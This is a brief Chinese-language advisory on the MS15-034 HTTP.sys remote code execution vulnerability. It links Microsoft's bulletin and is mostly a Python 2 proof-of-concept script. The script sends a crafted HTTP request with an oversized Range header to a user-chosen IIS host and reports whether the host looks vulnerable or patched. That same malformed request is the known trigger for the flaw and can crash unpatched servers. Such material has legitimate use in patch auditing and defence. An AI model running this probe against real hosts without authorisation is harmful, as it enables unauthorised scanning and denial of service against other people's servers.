HTTP.sys远程执行代码漏洞

远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中，当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

官方文档：https://technet.microsoft.com/zh-cn/library/security/MS15-034

POC(python2)：

#!/usr/bin/env python
#-*-coding:utf-8-*-

import socket
import random

ipAddr = raw_input("Please set your target:")
hexAllFfff = "18446744073709551615"
req1 = "GET / HTTP/1.0

"
req = "GET /  HTTP/1.1
Host: stuff
Range: bytes=0-" + hexAllFfff + "

"

print "[*] Audit Started"

try:
                client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                client_socket.connect((ipAddr, 80))
                client_socket.send(req1)
                boringResp = client_socket.recv(1024)
                if "Microsoft" not in boringResp:
                                print "[*] Not IIS"
                                exit(0)
                client_socket.close()
                client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                client_socket.connect((ipAddr, 80))
                client_socket.send(req)
                goodResp = client_socket.recv(1024)
                if "Requested Range Not Satisfiable" in goodResp:
                                print "[!!] Looks VULN"
                elif " The request has an invalid header name" in goodResp:
                                print "[*] Looks Patched"
                else:
                                print "[*] Unexpected response, cannot discern patch status"
                                
except Exception,e:
                print e